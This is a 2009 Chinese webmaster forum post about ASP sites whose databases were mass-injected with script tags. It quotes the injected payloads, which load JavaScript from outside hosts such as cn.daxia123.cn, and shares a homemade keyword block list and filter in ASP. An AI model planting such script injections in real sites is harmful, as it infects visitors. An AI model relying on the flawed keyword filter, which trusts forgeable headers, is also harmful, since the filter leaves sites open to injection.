新大榭论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

《新大榭》- 创大榭地方网络社区先锋品牌 新大榭始终专注于地方网络社区平台的建设 关于我们- [大记事]- 留言建议- [新手报道]

发布 .新大榭软件管家(Excel版) V5.9版 财务/仓库/生产/销售/采购/行政/人事/校园 .公告 - 客户 - 打赏 - 职场 - Excel - Python.

新大榭镜像-音乐-法律-图书-高中课堂-实验 广告是为了能更好的发展 [欢迎商家支持本站互利共赢] 广告位招租.首页黄金广告位等您来!联系 13566035181

查看: 1286|回复: 0

[ASP] 1972 - 关于最近各中小网站数据库被注入各种javascript代码的问题~!

[复制链接]
发表于 2009-2-27 12:27:43 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转新大榭论坛!

您需要 登录 才可以下载或查看,没有账号?注册

x
关于最近各中小网站数据库被注入各种javascript代码的问题~!本人目前解决法~!但不完善,还没搞懂攻击原理及病毒特性。
特征:数据库各表凡是字段长度超过50的都被在字符串末端注入 <script src=http://cn.daxia123.cn/cn.js></script> 或 <script src=http://3bom%62%2Ecom/c.js></script> ,并且是不断的注入,一天能注入很多次, 目前发现3种注入的js代码。
本人初期也跟各种介绍一样疯狂加防注入的关键词,可无济于事,根本就不管用,反复检查服务器无异样,网站接二连三的被挂掉,然后只能updae,最后只能给数据库用户开只读权限来防止注入,但是问题还没完,后来发现在用户登录管理系统的时候无法登录,于是发现数据库用户系统表的密码等列被注入(其他的表没事),只读权限也能注入么?怀疑sa的用户名密码被破解,于是换了一遍密码,但还是不行继续被注入。
然后开始在各论坛上找解决方法,在本论坛上看到大家有各种解决方法,于是尝试、思考、然后发现了些问题,自己更改了一下防注入代码及网站程序,48个小时没出问题了,先拿来与大家分享。


asp 网站
1、防注入get方式要加对Request.QueryString长度的判断 此方法比较管用。 If Len(Request.QueryString) > 80 then Response.End()

2、防注入Post方式要加对来源地址的判断,防止外部提交,虽然目前攻击是get方式,但防止再次变种攻击。

3、防注入要加清空客户端Cookies代码,发现凡是访问过被注入网站的客户端的Cookies信息被篡改,javascript代码被加入其中,用Cookies的网站基本的被挂,清空Cookies也不管用,照样有~!  最好也加上Cookies防注入。
'清空客户端Cookies
For each cookie in Request.Cookies
response.cookies(cookie)=""
next

4、建议将网站用Cookies的兄弟们将程序改为Session的,虽然iis用Session会不稳定,但安全第一

5、安装urlscan 3.0 设置一下对服务器有益无害,防止今后变种攻击引发的问题。

还有希望瑞星能帮忙查查问题,为什么客户端清空Cookies也不管用???个人觉得凡是访问过被挂网站都会有此问题,也许是病毒,杀毒软件也不报病毒。

下边是我的防注入,分享个大家,将代码文件include到数据库连接文件后,希望大家有建议的帮帮更改一下

<%
Fy_In = "'|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|varchar|text|ntext|nvarchar|declare|exe|truncate|<script|/script>|is_srvrolemember"
Fy_Inf = split(Fy_In,"|")

'--------POST部份------------------
If Request.Form <> "" Then

SiteDomain = "xxxx.cn"
URL = Request.ServerVariables("HTTP_REFERER")
if URL <> "" then
URLDomain = Split(URL,"/")(2)
if instr(URLDomain,SiteDomain) = 0 then Response.Redirect (""&SiteDomain&"")
else
Conn.Close
Set Conn = Nothing
Response.Redirect (""&SiteDomain&"")
end if

For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
Action_Type = "POST"
CanShu = Fy_Post
Data = Trim(Request.Form(Fy_Post))
Call Alert(Action_Type,CanShu,Data)
End If
Next
Next
End If

'--------GET部份------------------
If Len(Request.QueryString) > 80 then
Action_Type = "GET"
CanShu = "超过允许长度"
Data = Request.QueryString
Call Alert(Action_Type,CanShu,Data)
end if
If Request.QueryString <> "" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
Action_Type = "GET"
CanShu = Fy_Get
Data = Trim(Request.QueryString(Fy_Get))
Call Alert(Action_Type,CanShu,Data)
End If
Next
Next
End If

'--------Cookies部份------------------
For each cookie in Request.Cookies
response.cookies(cookie)=""
next
If Len(Request.Cookies) > 80 then
Action_Type = "COOKIES"
CanShu = "超过允许长度"
Data = Request.Cookies
Call Alert(Action_Type,CanShu,Data)
end if
If Request.Cookies <> "" Then
For Each Fy_Cookies In Request.Cookies
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Cookies(Fy_Cookies)),Fy_Inf(Fy_Xh))<>0 Then
Action_Type = "COOKIES"
CanShu = Fy_Cookies
Data = Trim(Request.Cookies(Fy_Cookies))
Call Alert(Action_Type,CanShu,Data)
End If
Next
Next
End If

Function Alert(Action_Type,CanShu,Data)
ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ip = "" Then ip = Request.ServerVariables("REMOTE_ADDR")
Conn.Execute("insert into Fg_SQL_Safe (Ip,Time,URL,Action_Type,CanShu,Data) values('"&ip&"','"&Now()&"','"&Request.ServerVariables("URL")&"','"&Action_Type&"','"&CanShu&"','"&Replace(Data,"'","''")&"')")
Conn.Close
Set Conn = Nothing
Response.Redirect "http://download.rising.com.cn/Middle/RavolSKY.exe"
Response.End()
End Function
%>


'数据库建表代码
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_PADDING ON
GO
CREATE TABLE [dbo].[SQL_Safe](
[id] [int] IDENTITY(1,1) NOT NULL,
[Ip] [varchar](20) NULL,
[Time] [datetime] NULL,
[URL] [varchar](100) NULL,
[Action_Type] [varchar](20) NULL,
[CanShu] [varchar](50) NULL,
[Data] [ntext] NULL,
CONSTRAINT [PK_SQL_Safe] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO
SET ANSI_PADDING OFF
新大榭Python学习社区培训、Excel业务指导、办公软件定制、网站建设;新大榭探索实验室欢迎您!http://lab.daxie.net.cn/
Q群推荐 大榭本地求职招聘QQ群,欢迎转发分享本地招聘信息资讯! 官方招聘1群(已满);官方招聘2群:315816937 *
您需要登录后才可以回帖 登录 | 注册

本版积分规则

文字版|小黑屋|新大榭 ( 浙ICP备16018253号-1 )|点击这里给站长发消息|

GMT+8, 2025-12-13 17:06 , Processed in 0.089108 second(s), 19 queries , Gzip On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表